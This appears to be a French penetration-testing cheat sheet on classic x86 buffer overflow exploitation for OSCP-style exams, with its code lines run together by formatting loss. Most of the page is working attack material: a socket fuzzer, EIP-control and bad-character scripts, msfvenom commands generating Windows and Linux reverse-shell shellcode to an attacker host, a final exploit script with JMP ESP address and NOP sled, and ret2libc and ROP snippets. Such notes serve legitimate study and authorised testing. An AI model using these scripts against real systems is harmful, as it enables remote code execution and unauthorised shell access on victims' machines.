buffer-overflowbofshellcode
MDstable
Buffer Overflow — x86 Linux & Windows
Fuzzing, contrôle EIP, shellcode, bad chars, ret2libc — exploit BoF classique
snippetadvanced 2025-05-13 4 min read
buffer-overflowbofshellcodeexploitEIPx86pentestOSCP
Méthodologie BoF classique (OSCP-style)
1 Fuzzer trouver la taille du crash2 Offset localiser loffset prcis vers EIP3 Contrler EIP confirmer loverwrite4 Bad chars identifier les caractres interdits5 Trouver le JMP ESP pointeur de retour valide6 Shellcode gnrer et placer7 Exploit excuter
1. Fuzzer
python
Variables
{{TARGET_IP}}
{{PORT}}
#!/usr/bin/env python3import socket, time, sys{{TARGET_IP}} = "{{TARGET_IP}}"{{PORT}} = {{PORT}}payload = b"A" * 100while True:try:with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:s.connect(({{TARGET_IP}}, {{PORT}}))s.recv(1024)print(f"[*] Sending {len(payload)} bytes")s.send(b"OVERFLOW " + payload + b"\r\n")s.recv(1024)except Exception as e:print(f"[!] Crash at {len(payload)} bytes: {e}")sys.exit()payload += b"A" * 100time.sleep(0.5)
2. Trouver l'offset exact
bash
# Générer un pattern cyclique/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000# ou msf-pattern_create -l 3000# Envoyer le pattern au programme# Observer EIP dans le debugger (Immunity, x64dbg, GDB)# EIP = 6F43396E par exemple# Trouver l'offset/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q# ou msf-pattern_offset -l 3000 -q 6F43396E# → Exact match at offset 1978
3. Confirmer le contrôle EIP
python
Variables
{{TARGET_IP}}
{{PORT}}
#!/usr/bin/env python3import socketoffset = 1978 # à adapterpayload = b"A" * offsetpayload += b"B" * 4 # EIP → 42424242payload += b"C" * 16 # ESPwith socket.socket() as s:s.connect(("{{TARGET_IP}}", {{PORT}}))s.recv(1024)s.send(b"OVERFLOW " + payload + b"\r\n")# EIP doit afficher 42424242 dans le debugger
4. Trouver les bad chars
python
# Générer tous les bytes 0x01 à 0xFF (0x00 est presque toujours bad)badchars = b"".join(bytes([i]) for i in range(1, 256))payload = b"A" * offsetpayload += b"B" * 4 # EIPpayload += badchars# Envoyer, observer le dump ESP dans le debugger# Chercher où la séquence se coupe ou est modifiée
bash
# Avec mona.py (Immunity Debugger)mona bytearray -b "\x00"# Après le crash :mona compare -f Cmonabytearraybin -a <adresse_ESP>
5. Trouver un JMP ESP
bash
# Mona — chercher dans les modules sans ASLR/DEP/SafeSEHmona modulesmona jmp -r esp -cpb "\x00\x0a\x0d" # exclure les bad chars# Si mona n'est pas disponible :# Chercher l'opcode JMP ESP (0xFF 0xE4) dans les binairesnasm_shellrb> jmp esp> FFE4 # opcode# Chercher manuellement avec pwndbg/pwntoolspython3 -cimport struct# Chercher 0xFFE4 dans un module chargé# Rappel : l'adresse ne doit pas contenir de bad chars
6. Générer le shellcode
bash
Variables
{{LHOST}}
{{LPORT}}
# msfvenom — reverse shellmsfvenom -p windows/shell_reverse_tcp LHOST{{LHOST}} LPORT{{LPORT}}EXITFUNCthread -b "\x00\x0a\x0d" -f python# Linuxmsfvenom -p linux/x86/shell_reverse_tcp LHOST{{LHOST}} LPORT{{LPORT}}-b "\x00" -f python# Sans metasploit — shellcode custom# https://shell-storm.org/shellcode/
7. Exploit final
python
Variables
{{TARGET_IP}}
{{PORT}}
{{LPORT}}
#!/usr/bin/env python3import socketTARGET = "{{TARGET_IP}}"PORT = {{PORT}}offset = 1978ret_addr = b"\xdf\x14\x50\x62" # adresse JMP ESP en little-endiannop_sled = b"\x90" * 16 # NOP sled# Shellcode msfvenom (remplacer avec le vrai)shellcode = b""shellcode += b"\xda\xc1\xd9\x74\x24\xf4\x5b..." # payload icipayload = b"A" * offsetpayload += ret_addrpayload += nop_sledpayload += shellcodewith socket.socket() as s:s.connect((TARGET, PORT))s.recv(1024)s.send(b"OVERFLOW " + payload + b"\r\n")# Écouter :# nc -lvnp {{LPORT}}
Contournements modernes
ASLR bypass — Brute force (32 bits)
bash
# L'espace d'adressage 32 bits est limité (~16M combinaisons)# En boucle jusqu'au succèsfor i in range65536 exploit
DEP/NX bypass — ret2libc
python
# Trouver l'adresse de system() et "/bin/sh" dans libc# ldd ./vuln → trouver l'adresse base libc# readelf -s /lib/libc.so.6 | grep " system"# strings -a -t x /lib/libc.so.6 | grep "/bin/sh"libc_base = 0xf7e00000system = libc_base + 0x3a940bin_sh = libc_base + 0x15ba0bexit_addr = libc_base + 0x2e7b0payload = b"A" * offsetpayload += struct.pack("<I", system) # ret addr → system()payload += struct.pack("<I", exit_addr) # return après system()payload += struct.pack("<I", bin_sh) # argument = "/bin/sh"
ROP chains
bash
# ROPgadget — trouver des gadgetsROPgadget --binary /vuln --rop# pwntoolsfrom pwn importelf ELF'./vuln'rop ROPelfropcallelfsymbols'system' nextelfsearchb'/bin/sh\x00'
💡 Tip —
Pour OSCP : toujours travailler avec Immunity Debugger + mona.py sur Windows. La séquence complète (fuzz → offset → badchars → JMP ESP → shellcode) est systématique. Le NOP sled de 16 bytes avant le shellcode est suffisant pour absorber les petites variations de stack.
OPS·BRAIN v1.075 notes · Securitylocal